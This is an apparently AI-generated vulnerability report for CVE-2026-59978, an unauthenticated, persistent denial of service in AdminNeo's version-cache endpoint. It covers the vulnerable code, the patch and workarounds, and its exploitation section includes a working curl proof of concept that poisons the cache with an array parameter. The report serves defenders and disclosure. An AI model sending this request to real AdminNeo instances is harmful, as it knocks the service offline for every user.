CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-59978

CVE-2026-59978: Persistent Denial of Service via Array Injection in AdminNeo

Amit Schendel
Amit Schendel
Senior Security Researcher

Oct 30, 2026·8 min read·4 visits

Executive Summary (TL;DR)

An unauthenticated remote attacker can pass an array parameter (`version[]=...`) to the `?script=version` endpoint in AdminNeo (< 5.5.0). The injected array is cached on disk for 24 hours and subsequently passed to `rawurlencode()`, triggering an unhandled PHP 8 `TypeError` and resulting in an application-wide HTTP 500 Denial of Service.

AdminNeo versions 4.6.2 through 5.4.1 contain an improper input validation vulnerability (CWE-20) in the version verification endpoint (?script=version). An unauthenticated remote attacker can submit a crafted HTTP POST request containing an array parameter for 'version', which is serialized into a shared server-side temporary cache file without type checking or authentication. On subsequent requests, the application deserializes this cached array and passes it to cookie() and rawurlencode(), triggering an uncaught fatal TypeError in PHP 8.x environments and causing a persistent 24-hour Denial of Service (DoS) for all users.

Vulnerability Overview

AdminNeo is an open-source, web-based database management tool written in PHP, created as a fork of Adminer. To notify administrators of available software updates, AdminNeo implements an asynchronous version check mechanism. In versions 4.6.2 prior to 5.5.0, this mechanism relies on client-side JavaScript querying the GitHub Releases API and forwarding the discovered version tag back to the AdminNeo server via the ?script=version endpoint.

The server processes requests to ?script=version inside admin/include/bootstrap.inc.php prior to executing authentication or Cross-Site Request Forgery (CSRF) verification routines. The endpoint extracts the $_POST["version"] parameter and writes it directly into a serialized temporary file (adminneo.version) located in the system temporary directory. This file serves as a shared cache across all user sessions for 24 hours (86,400 seconds).

Because the endpoint fails to validate that the incoming version parameter is a scalar string, an unauthenticated attacker can supply an array payload using PHP's bracket parameter syntax (e.g., version[]=INJECTED). PHP parses this input into an array structure and persists the serialized array into the shared cache file.

When subsequent requests arrive from any client lacking the neo_version cookie, admin/include/design.inc.php reads and deserializes the poisoned cache file. The deserialized array is passed directly to the cookie() helper function and subsequently to PHP's internal rawurlencode() function. Under PHP 8.x strict type enforcement, passing an array to rawurlencode() raises an unhandled TypeError exception, terminating execution with an HTTP 500 response across the entire instance.

Root Cause Analysis

The root cause of CVE-2026-59978 is a combination of missing authentication, missing CSRF token validation, and improper input type validation (CWE-20) within the bootstrap request lifecycle. In admin/scripts/functions.js, the intended client workflow constructs a POST body containing both the version string and a CSRF token (version=' + version + '&token=' + token). However, the server-side handler in admin/include/bootstrap.inc.php ignores the token parameter entirely.

In PHP, when an HTTP POST body contains parameter names ending in square brackets (version[]=value), the PHP SAPI automatically populates $_POST["version"] as an indexed or associative array rather than a string. Because bootstrap.inc.php does not enforce scalar validation via is_string() or explicit type casting, the call to serialize(["version" => $_POST["version"]]) succeeds and stores the nested array inside get_temp_dir() . "/adminneo.version".

The secondary trigger occurs during standard page rendering in admin/include/design.inc.php. When page_header() executes, it checks if version verification is enabled (isVersionVerificationEnabled()) and whether the incoming request lacks the neo_version cookie. If the /tmp/adminneo.version file exists and its modification timestamp is less than 86,400 seconds old, the application reads the file and calls unserialize().

The extracted $data["version"] value—now an array—is passed to cookie("neo_version", $data["version"], $lifetime). In admin/include/functions.inc.php, the cookie() function is defined with a strict parameter type signature (function cookie(string $name, string $value, int $lifetime = 2592000): void) or passes $value directly into rawurlencode($value). In PHP 8.0 and later, internal string functions and typed user functions throw a fatal TypeError when given an array, halting script execution before any HTML output or login interface can be rendered.

Code Analysis

In vulnerable versions of AdminNeo (>= 4.6.2, < 5.5.0), the request routing in admin/include/bootstrap.inc.php intercepts ?script=version before session initialization:

// admin/include/bootstrap.inc.php (Vulnerable)
if ($_GET["script"] == "version") {
	$filename = get_temp_dir() . "/adminneo.version";
	@unlink($filename); // It may not be writable by us, @ - it may not exist.
 
	$file = open_file_with_lock($filename);
	if ($file) {
		// FLAW: $_POST["version"] is not validated as a string and no CSRF/auth check is performed
		write_and_unlock_file($file, serialize(["version" => $_POST["version"]]));
	}
	exit;
}

During subsequent requests, admin/include/design.inc.php retrieves this cached data inside page_header():

// admin/include/design.inc.php (Vulnerable)
if (Admin::get()->getConfig()->isVersionVerificationEnabled()) {
	$filename = get_temp_dir() . "/adminneo.version";
	if (!isset($_COOKIE["neo_version"]) && file_exists($filename) && ($lifetime = filemtime($filename) + 86400 - time()) > 0) {
		$data = unserialize(file_get_contents($filename));
 
		$_COOKIE["neo_version"] = $data["version"];
		// CRASH: $data["version"] is an array, causing a TypeError in cookie() / rawurlencode()
		cookie("neo_version", $data["version"], $lifetime);
	}
}

In commit b7ae929e6afb374f0a7aba3d73b7d441470ff907 (ported from upstream Adminer commit 21d3a3150388677b18647d68aec93b7850e457d3), the maintainers remediated the vulnerability by completely removing the server-side version caching mechanism rather than adding input sanitization.

--- a/admin/include/bootstrap.inc.php
+++ b/admin/include/bootstrap.inc.php
@@ -41,17 +41,6 @@
 // Compiled files loading.
 include __DIR__ . "/../file.inc.php";
 
-if ($_GET["script"] == "version") {
-	$filename = get_temp_dir() . "/adminneo.version";
-	@unlink($filename); // It may not be writable by us, @ - it may not exist.
-
-	$file = open_file_with_lock($filename);
-	if ($file) {
-		write_and_unlock_file($file, serialize(["version" => $_POST["version"]]));
-	}
-	exit;
-}
-
 if (!$_SERVER["REQUEST_URI"]) { // IIS 5 compatibility
 	$_SERVER["REQUEST_URI"] = $_SERVER["ORIG_PATH_INFO"];
 }
@@ -100,6 +89,9 @@
 	cookie("neo_import", "", -3600);
 }
 
+// Remove unused file.
+@unlink(get_temp_dir() . "/adminneo.version");
+
 include __DIR__ . "/../core/Locale.php";
--- a/admin/scripts/functions.js
+++ b/admin/scripts/functions.js
@@ -113,11 +113,7 @@ function verifyVersion(baseUrl, token) {
 			const matches = response.tag_name.match(/^v(\d{1,2}\.\d{1,2}\.\d{1,2}(-(alpha|beta|rc)\d?)?)$/);
 			if (!matches) return;
 
-			const version = matches[1];
-			cookie('neo_version=' + version, 1);
-
-			const data = 'version=' + version + '&token=' + token;
-			ajax(baseUrl + 'script=version', null, data);
+			cookie('neo_version=' + matches[1], 1);
 		}, null, null, true);
 	});
 }

> [!NOTE] > Fix Completeness Assessment: The patch is complete and eliminates the attack surface entirely. By removing the ?script=version endpoint, deleting the unserialize() call in design.inc.php, and adding @unlink(get_temp_dir() . "/adminneo.version"); in bootstrap.inc.php, upgrading to version 5.5.0 both prevents future exploitation and automatically cleans up any pre-existing poisoned cache file on the first post-upgrade request.

Exploitation

Exploitation of CVE-2026-59978 requires no authentication, session state, or specialized tooling. The only prerequisite is network access to the AdminNeo web interface and that version verification remains enabled in the AdminNeo configuration (which is enabled by default).

First, an attacker or auditor can verify that the target AdminNeo instance is operational by issuing a standard HTTP GET request:

curl -s -o /dev/null -w "%{http_code}\n" "http://target-host:8080/"
# Output: 200

To poison the shared version cache, the attacker sends a single HTTP POST request to ?script=version with an array parameter version[]:

curl -X POST "http://target-host:8080/?script=version" -d "version[]=INJECTED"

The server responds with an empty HTTP 200 status and writes the serialized payload a:1:{s:7:"version";a:1:{i:0;s:8:"INJECTED";}} to /tmp/adminneo.version. Immediately following this request, any user visiting the application without an existing neo_version browser cookie will trigger the crash:

curl -s -o /dev/null -w "%{http_code}\n" "http://target-host:8080/"
# Output: 500

On the server side, the PHP error log records the following fatal exception:

Fatal error: Uncaught TypeError: rawurlencode(): Argument #1 ($string) must be of type string, array given in admin/include/functions.inc.php

Impact Assessment

The primary impact of CVE-2026-59978 is a persistent, application-wide Denial of Service (DoS). Once the /tmp/adminneo.version file is poisoned, every unauthenticated or newly arriving user session attempting to load the AdminNeo login screen or dashboard encounters an unhandled HTTP 500 Internal Server Error.

Because the cache expiration window is hardcoded to 86,400 seconds (filemtime($filename) + 86400 - time()), a single HTTP POST request renders the application unavailable for 24 hours unless an administrator manually intervenes to delete the temporary file. Furthermore, an attacker can automate a single request per day (or every few minutes) to sustain an indefinite outage.

The vulnerability is rated with a CVSS v3.1 Base Score of 7.5 (High) under the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H:

  • Attack Vector (AV:N): The endpoint is exposed over HTTP/HTTPS to any network client.
  • Attack Complexity (AC:L) & Privileges Required (PR:N): No authentication, CSRF token, or race condition is required.
  • Confidentiality & Integrity (C:N/I:N): While unserialize() is invoked on the cache file contents, the input passed to serialize() during cache creation is wrapped in an array (["version" => $_POST["version"]]) and serialized by PHP itself. Because $_POST only contains strings and arrays parsed from the HTTP request body, arbitrary PHP Object Injection is not achievable through this vector.
  • Availability (A:H): Complete denial of access to the database administration interface.

Remediation

Administrators and developers using adminneo-org/adminneo should upgrade immediately to version 5.5.0 or later. Version 5.5.0 removes the vulnerable server-side caching endpoint and automatically unlinks any existing /tmp/adminneo.version file during bootstrap execution.

For environments where an immediate upgrade is not feasible, administrators can apply the following workarounds to neutralize the vulnerability:

  1. Lock the Temporary Cache File: Create an empty /tmp/adminneo.version file owned by root with read-only permissions (0444). Because bootstrap.inc.php suppresses unlink errors (@unlink($filename)) and checks if the file can be opened for writing, preventing the web server user (www-data, nginx, or apache) from modifying the file stops cache poisoning:
rm -f /tmp/adminneo.version
touch /tmp/adminneo.version
chown root:root /tmp/adminneo.version
chmod 0444 /tmp/adminneo.version

(Ensure /tmp matches the directory returned by PHP's sys_get_temp_dir() or upload_tmp_dir directive.)

  1. Block ?script=version at the Reverse Proxy / Web Server: Configure Nginx or Apache to reject any HTTP request containing script=version in the query string:
# Nginx block rule
if ($arg_script = "version") {
    return 403;
}
# Apache mod_rewrite block rule
RewriteEngine On
RewriteCond %{QUERY_STRING} (^|&)script=version(&|$) [NC]
RewriteRule .* - [F,L]
  1. Disable Version Verification: In custom AdminNeo configurations, disable version checking by setting versionVerification to false in the configuration array passed to AdminNeo.

Official Patches

AdminNeoAdminNeo v5.5.0 Official Release
AdminNeoOfficial Patch Commit (b7ae929e6afb374f0a7aba3d73b7d441470ff907)

Fix Analysis (2)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Affected Systems

adminneo-org/adminneo

Affected Versions Detail

Product
Affected Versions
Fixed Version
AdminNeo
adminneo-org
>= 4.6.2, < 5.5.05.5.0
AttributeDetail
Vulnerability TypeCWE-20: Improper Input Validation (Type Confusion / DoS)
CVSS v3.1 Score7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Attack VectorNetwork (Unauthenticated HTTP POST to ?script=version)
Affected Versionsadminneo-org/adminneo >= 4.6.2, < 5.5.0
Patched Version5.5.0
ImpactPersistent 24-hour application-wide HTTP 500 Denial of Service
Exploit StatusPublic Proof-of-Concept (PoC) available
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
CWE-20
Improper Input Validation

The product receives input or data, but does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Known Exploits & Detection

GitHub Security AdvisoryOfficial advisory containing curl proof-of-concept demonstrating unauthenticated version cache poisoning.

Vulnerability Timeline

Fix commit b7ae929e6afb374f0a7aba3d73b7d441470ff907 authored and committed to adminneo-org/adminneo.
2026-06-17
CVE-2026-59978 and GitHub Security Advisory GHSA-jm85-8cpp-9cjc published.
2026-10-30

References & Sources

  • [1]CVE-2026-59978 Official Record
  • [2]GitHub Security Advisory GHSA-jm85-8cpp-9cjc
  • [3]AdminNeo Fix Commit (b7ae929e6afb374f0a7aba3d73b7d441470ff907)
  • [4]AdminNeo v5.5.0 Release Notes
  • [5]Related Upstream Adminer Security Advisory (GHSA-q4f2-39gr-45jh)
  • [6]Upstream Adminer Patch Commit (21d3a3150388677b18647d68aec93b7850e457d3)

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•16 minutes ago•CVE-2026-119282
7.3

CVE-2026-119282: OS Command Injection via Plugin Options in Nx (@nx/maven and @nx/gradle)

An OS command injection and argument injection vulnerability exists in the Nx build system and its official Maven (@nx/maven) and Gradle (@nx/gradle) plugins. When constructing the project dependency graph, the plugins invoke underlying Java build wrappers via subshells while interpolating unsanitized plugin options directly from nx.json into the command arguments. An attacker who supplies a crafted nx.json file via a repository or pull request can execute arbitrary shell commands with the privileges of the user or CI/CD runner invoking any Nx command that computes the project graph.

Amit Schendel
Amit Schendel
0 views•10 min read
•about 2 hours ago•GHSA-FGXM-5HVV-X4VH
5.3

GHSA-fgxm-5hvv-x4vh: Private Repository Enumeration via Go Module Discovery and HTTP Response Discrepancies in Soft Serve

Charmbracelet Soft Serve versions 0.5.0 through 0.12.2 contain an authorization bypass and observable response discrepancy vulnerability in the HTTP Git server. Remote attackers can determine the existence, exact names, and clone URLs of private repositories by issuing crafted Go remote import path discovery requests (?go-get=1) or by observing differential HTTP status codes across Git Smart HTTP, Dumb HTTP, and Git LFS endpoints.

Alon Barad
Alon Barad
5 views•12 min read
•about 3 hours ago•GHSA-F3FJ-9625-RV3M
5.9

GHSA-f3fj-9625-rv3m: Race Condition in Soft Serve Repository Cache Invalidation

A Time-of-Check to Time-of-Use (TOCTOU) race condition in Charmbracelet Soft Serve versions 0.6.0 through 0.12.2 allows unauthenticated users to retain read access to repositories after their visibility is changed from public to private. The flaw stems from premature cache invalidation in the SetPrivate method prior to committing the visibility update to the underlying database. Concurrent read requests arriving during the database transaction window repopulate the non-expiring in-memory LRU cache with stale public metadata, bypassing access controls across HTTP, SSH, and Git protocols until the server process is restarted.

Alon Barad
Alon Barad
4 views•10 min read
•about 4 hours ago•CVE-2026-119283
7.5

CVE-2026-119283: Unbounded JWE Recipients Array Causes CPU Exhaustion in Authlib joserfc

A resource consumption vulnerability exists in the Authlib joserfc Python library prior to version 1.7.5. When processing JSON Web Encryption (JWE) objects formatted using General JSON Serialization, the library fails to enforce an upper bound on the number of elements within the recipients array. An unauthenticated attacker can supply a JWE containing thousands of recipient entries targeting an RSA key management algorithm, forcing the server to perform an equivalent number of computationally expensive RSA private-key decryption operations per request and exhausting available CPU resources.

Alon Barad
Alon Barad
4 views•9 min read
•about 5 hours ago•CVE-2026-119284
6.9

CVE-2026-119284: Uncontrolled Resource Consumption in joserfc Compact Deserialization

CVE-2026-119284 (GHSA-9pg5-8c7x-5hfx) is an uncontrolled resource consumption vulnerability (CWE-400) in the compact serialization deserialization routines of joserfc prior to version 1.7.6. The library enforced individual segment size limits only after invoking Python's bytes.split(b'.') on untrusted input tokens. By sending oversized compact JWS or JWE tokens, an unauthenticated remote attacker can force the Python interpreter to duplicate and allocate memory for every segment before size validation executes, resulting in memory exhaustion and an Endpoint Denial of Service (DoS).

Amit Schendel
Amit Schendel
8 views•10 min read
•about 12 hours ago•GHSA-C33X-VCV4-VG3G
2.1

GHSA-c33x-vcv4-vg3g: Missing Slot Identifier Validation in Cedar Policy Language JSON Template Parser Causes Panic and Authorization Divergence

An improper input validation vulnerability (CWE-20) exists in the Entity Syntax Tree (EST) JSON deserialization component of the Cedar Policy Language (`cedar-policy` and `@cedar-policy/cedar-wasm`). When parsing JSON-formatted policy templates that define `is ... in` scope constraints on `principal` or `resource`, the parser used wildcard pattern matching that ignored the provided slot identifier (`?principal` or `?resource`). This omission allows malformed JSON templates to bypass initial deserialization validation, resulting in either a runtime panic during template linking or inverted slot bindings that alter authorization outcomes.

Amit Schendel
Amit Schendel
7 views•10 min read